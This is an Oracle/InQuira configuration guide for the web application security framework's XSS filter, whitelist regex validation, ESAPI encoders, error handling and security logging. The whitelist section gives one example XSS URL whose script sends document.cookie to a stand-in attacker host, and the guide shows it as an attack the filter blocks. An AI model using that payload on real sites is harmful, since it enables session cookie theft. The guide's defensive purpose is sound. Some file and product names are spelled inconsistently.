



Web Application Security Configuration Guide

InQuira Version 8.4.2.2

Document Number WAS84-SG-22

November 3, 2011

Oracle, Inc.

COPYRIGHT INFORMATION

Copyright © 2002, 2011, Oracle and/or its affiliates. All rights reserved.

This software and related documentation are provided under a license agreement containing restrictions on use and disclosure and are protected by intellectual property laws. Except as expressly permitted in your license agreement or allowed by law, you may not use, copy, reproduce, translate, broadcast, modify, license, transmit, distribute, exhibit, perform, publish, or display any part, in any form, or by any means. Reverse engineering, disassembly, or decompilation of this software, unless required by law for interoperability, is prohibited.

The information contained herein is subject to change without notice and is not warranted to be error-free. If you find any errors, please report them to us in writing.

If this is software or related documentation that is delivered to the U.S. Government or anyone licensing it on behalf of the U.S. Government, the following notice is applicable:

U.S. GOVERNMENT RIGHTS

Programs, software, databases, and related documentation and technical data delivered to U.S. Government customers are "commercial computer software" or "commercial technical data" pursuant to the applicable Federal Acquisition Regulation and agency-specific supplemental regulations. As such, the use, duplication, disclosure, modification, and adaptation shall be subject to the restrictions and license terms set forth in the applicable Government contract, and, to the extent applicable by the terms of the Government contract, the additional rights set forth in FAR 52.227-19, Commercial Computer Software License (December 2007). Oracle America, Inc., 500 Oracle Parkway, Redwood City, CA 94065.

This software or hardware is developed for general use in a variety of information management applications. It is not developed or intended for use in any inherently dangerous applications, including applications that may create a risk of personal injury. If you use this software or hardware in dangerous applications, then you shall be responsible to take all appropriate fail-safe, backup, redundancy, and other measures to ensure its safe use. Oracle Corporation and its affiliates disclaim any liability for any damages caused by use of this software or hardware in dangerous applications.

Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners.

Intel and Intel Xeon are trademarks or registered trademarks of Intel Corporation. All SPARC trademarks are used under license and are trademarks or registered trademarks of SPARC International, Inc. AMD, Opteron, the AMD logo, and the AMD Opteron logo are trademarks or registered trademarks of Advanced Micro Devices. UNIX is a registered trademark of The Open Group. Other names may be trademarks of their respective owners.

This software or hardware and documentation may provide access to or information on content, products, and services from third parties. Oracle Corporation and its affiliates are not responsible for and expressly disclaim all warranties of any kind with respect to third-party content, products, and services. Oracle Corporation and its affiliates will not be responsible for any loss, costs, or damages incurred due to your access to or use of third-party content, products, or services.

Table of Contents

InQuira Web Application Security Configuration	
Overview	3
White List Parameter Validation	3
URL Encryption	4
Web Application Security Configuration Files	4
Customizing the REGEX Patterns	4
Customizing the White List	4
Customizing the InQuira ESAPI Encoder	5
Customizing OWASP ESAPI	6
Customizing Error Handling Behavior	6
Error Logging	7
Configuration Files Locations	8

InQira Web Application Security Configuration Overview

The InQira Web Application Security features described in this guide are designed to improve the overall security capabilities of the InQira web applications:

- InfoCenter
- iConnect, including iConnect for Siebel Contact Center and iConnect for Oracle CRM OnDemand
- Self-Service Portal (SSP)

The security enhancements are designed specifically to protect against cross-site scripting (XSS) attacks by utilizing an updated XSS servlet filter to ensure that all HTTP request parameters are properly validated and safe. The XSS filter provides white list parameter validation where the user-provided data is checked against a set of rules that describe a set of tightly constrained known good values. Any data that does not match will be rejected. The parameter validation rules can be customized through a properties file. The XSS filter also provides security logging for intrusion detection.

The InQira Web Application Security framework integrates the OWASP Enterprise Security API (ESAPI) framework, an industry tested security framework that is designed to apply standardized best practices for properly encoding and escaping untrusted data prior to use.

White List Parameter Validation

White list parameter validation involves checking data against a set of tightly constrained set of rules to allow only known good values to be entered. The white list parameter validation rules consist of regex patterns defining allowable characters and strings for HTTP request parameter. In addition, the whitelist specifies the maximum number of characters allowed for the field, whether the field can be nullable or blank, and a brief description of the data that should be passed in the field. Using these defined rules prevents attackers from entering scripts into fields which might result in XSS attacks.

For example, a user may attempt to modify an InfoCenter URL parameter in the browser to:

```
http://myhost:8226/InfoCenter/index?page='><script>document.location='http://  
www.hacker.com/cgi-bin/stealinginfo.cgi?' %20+document.cookie</script>
```

The InQira XSS servlet filter validates the data being passed in the page parameter against the REGEX expression to see if it matches. It detects the XSS attack, raises a JSP exception, displays an error message, and logs a detailed error message to a security audit file.

Web Application Security framework provides an InQira-specific method to test a request parameter utilizing the ESAPI white list validation mechanism. This test performs the following steps:

- 1 Compares the request parameter to a white list regex pattern stored in the ESAPI validation.properties file. The validation covers the following parameters:
 - The regex pattern specified to validate the data.
 - The maximum allowed length of the parameter.
 - Whether the parameter is allowed to be null.
- 2 If the parameter passes the white list validation, the data is decoded so it does not include any escaped/encoded characters.
- 3 If the parameter fails white list verification, the test raises a JSP exception, the browser displays an error message and a detailed error message is logged.

URL Encryption

Web Application Security framework provides encryption for plain text in the URLs to prevent attackers from providing different URLs, in an attempt to thwart phishing and XSS attacks. This affects all forms with success and error URLs as well as search results that come back with URLs in the hyperlink.

If there is a need to pass additional information to the underlying URL, the URL must be decrypted first, add the parameter, and then re-encrypt the URL before the subsequent page is loaded.

The encryption/decryption code must be from `com.inquirafoundation.utilities.CVEncryption` (`imfoundation.jar`)

- `public static String encryptUrl(String str)`
- `public static String decryptUrl(String str)`

Web Application Security Configuration Files

There are several configuration files that can be customized that control the operation of the InQuira Web Application Security framework. These files are located in the `WEB-INF/classes` folder of each deployed web application. The changes should be performed on a single copy and then copied to the remaining instances of all of the deployed web applications. Failure to copy the changes made to all deployed web applications could lead to inconsistent and/or intermittent problems that can be difficult to diagnose and correct.

Customizing the REGEX Patterns (`validation.properties`)

The InQuira Web Application Security framework uses regular expressions (REGEX) to compare incoming data against a list of allowable characters. These REGEX patterns are assigned to each parameter in the `inquira_whitelist.properties` file. A REGEX pattern can be shared across many request parameters. If a REGEX pattern is changed it affects ALL request parameters that use the same REGEX pattern.

The list of REGEX patterns is located in the `WEB-INF/classes/resources/validation.properties` file. **Do not modify this file.** If changes are required to any REGEX pattern, place the updated patterns in a new file in the same directory called `validation_custom.properties`. These REGEX patterns will override the original patterns provided by InQuira. Any new patterns defined for a customer should also be added to this file.

The format of the entry in the `validation.properties` file is:

```
Validator.KEY=REGEX
```

where

`KEY` = the name of the REGEX pattern in the `inquira_whitelist.properties` file (the key must be prefaced with `Validator.`)

`REGEX` = the actual REGEX pattern to be used to validate the string.

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Customizing the White List (inquirea_whitelist.properties)

The list of HTTP request parameters secured by the InQuira web application security framework is stored in the `WEB-INF/classes/resources/inquirea_whitelist.properties` file. Each line of the file contains a separate request parameter in the format:

```
KEY=REGEX;MAXLENGTH;ALLOWNULL;DESCRIPTION;[VALIDATEORENCODE];[ISINPUT]
```

The following table describes each of the parameters:

Parameter	Description
KEY	HTTP Request parameter that is being validated.
REGEX	A reference to the REGEX expression stored in the validation.properties file.
MAXLENGTH	A numeric value for the maximum size of the field (must include size in bytes for double byte characters, if appropriate).
ALLOWNULL	A boolean (true false) indicating whether the parameter can be null.
DESCRIPTION	A description of what data the parameter contains.
VALIDATEORENCODE	A switcher to specify how to handle the validation, valid values are: <ul style="list-style-type: none"> • validate (do original validate), • encode (encode the input value; if encode fails, return null), • none (do nothing, skip the validation handle). The default value is validate.
ISINPUT	A boolean (true false) value indicating whether the parameter value is from user input. The default value is false.

The `inquirea_whitelist.properties` file provided with the default installation should not be changed. Any customizations required should be placed in a new file called `inquirea_whitelist_custom.properties` located in the same directory as the original `inquirea_whitelist.properties` file. This makes it easier to upgrade to newer versions in the future. If a property needs to be changed or new parameters added - place them in the custom property file. Those properties override the existing properties of the same name.

Custom applications that use different request parameters should create an entry in this file for every request parameter. If the parameter is missing from this file a security exception will be flagged and the user will receive an error message.

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Customizing the InQuira ESAPI Encoder (inquirea_esapi.properties)

The InQuira Web Application Security framework contains an InQuira-specific encoder class that extends the OWASP ESAPI default encoder to provide the ability to disable various encoder methods without having to remove them from the source code. This can be helpful if it becomes necessary to turn off a specific type of validation due to performance issues under load. In general all of the ESAPI encoders are enabled by default and should be used where appropriate in web applications. The `HTMLEncoder()` is currently being used by the InQuira Web Application Security Framework and should not be disabled.

This property file is located at `WEB-INF/classes/resources/inquirea_esapi.properties`. **Do not modify this file.** Customization must be added to a new file called `inquirea_esapi_custom.properties` located in the same folder.

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Enabled/disabled the following methods in the `inquira_esapi.properties` configuration file:

Method	Default Setting [*]
<code>HTMLAttributeEncoder</code>	False
<code>HTMLEncoder</code>	False
<code>CSSEncoder</code>	False
<code>DNEncoder</code>	False
<code>JavaScriptEncoder</code>	False
<code>LDAPEncoder</code>	False
<code>OSEncoder</code>	False
<code>SQLEncoder</code>	False
<code>URLEncoder</code>	False
<code>XMLEncoder</code>	False
<code>XMLAttributeEncoder</code>	False
<code>XPathEncoder</code>	False

*. Setting any property to **True** disables the provided encoding.

Customizing OWASP ESAPI (ESAPI.properties)

The OWASP ESAPI framework provides a number of configuration options that control the behavior of the ESAPI framework. The `WEB-INF/classes/resources/ESAPI.properties` file contains the default values for the deployed web application. Any changes made to this file **MUST** be propagated to all other deployed instances to ensure consistent behavior.

The `ESAPI.properties` file contains settings that control how logging is performed, intrusion detection thresholds, and a number of other properties. Complete documentation for this file is located at

http://www.owasp.org/index.php/ESAPI_Overview#ESAPI.properties

Customizing Error Handling Behavior (securityhandlermap.properties)

The InQuira Web Application Security Framework provides several options for handling errors caused by security violations. The configuration for the error handling is stored in `WEB-INF\classes\securityhandlermap.properties` file. The default values provided by InQuira are:

- `system.default=detail`
- `system.action=detail`
- `system.page=detail`

The format of the entries are:

`<SCOPE> = <ERROR HANDLER>`

There are three types of error handling possible.

- detail = this is default handler type. If a security error occurs return to the previous page and display an error dialog
- general = if a security error occurs return to the default error page in the application - index?page=error
- custom = If a security error occurs, use a customized error handling mechanism. Instructions are provided in /apps/infocenter/system/components/security/errorinfo.jsp. Add an additional attribute to the `<IM:sitemap>` tag called `securityhandler=custom`. There should only be one of these custom security handlers per web application. Example sitemap tag: `<IM:sitemap pagename="securityerror" securityhandler='custom' />`

In addition to the specific types of error handling, the scope of the error handling can be controlled. The valid scopes for error handling are:

- system.default = if nothing is configured for specific types of scopes this value is used for all requests.
- system.action = the type of error handler that will be used for FORM actions
- system.page = the type of error handler that will be used for standard JSP page requests
- page.<pagename> = the type of error handler that will be used for the specified pagename (IM:sitemap pagename value)
- action.<actionname> = the type of error handler that will be used for the specified FORM action. This is the value that is used in the hidden FORM field

Note: If modifications are made, all changes must be copied to all deployed instances of the web application in the network.

Error Logging

The InQura Web Application Security framework maintains an error log file dedicated to security. Whenever parameter validation fails in InfoCenter, iConnect, iConnect for Siebel, iConnect for CRM, or SSP, Web Security logs an error message to the security error log file. The error message contains the following information:

- The name of the web application (InfoCenter, iConnect, iConnect for Siebel, iConnect for CRM, or SSP).
- The name of the parameter.
- The value entered by the user.
- The reason for the failure (null value not allowed, parameter length exceeds the maximum length, or does not pass the regex pattern). If the failure is due to the regex pattern, the regex pattern used for the validation is logged.
- The userid, if available. If the userid is not available, then the log records "unregistered user".

The log file is written to the location specified in the `WEB-INF/classes/resources/ESAPI.properties` `Logger.LogFileName` property. The value should be a full directory path for the location of the security log file to be written. Each deployed instance of a web application should create a unique log file to avoid overwriting log entries. The default error log file location is:

```
<IM_HOME>\logs\<Repository_REF>\InfoCenter\Security\
```

Configuration File Locations

The `validation.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `inquirawhitelist.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `inquiraesapi.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

The `securityhandlermap.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\
```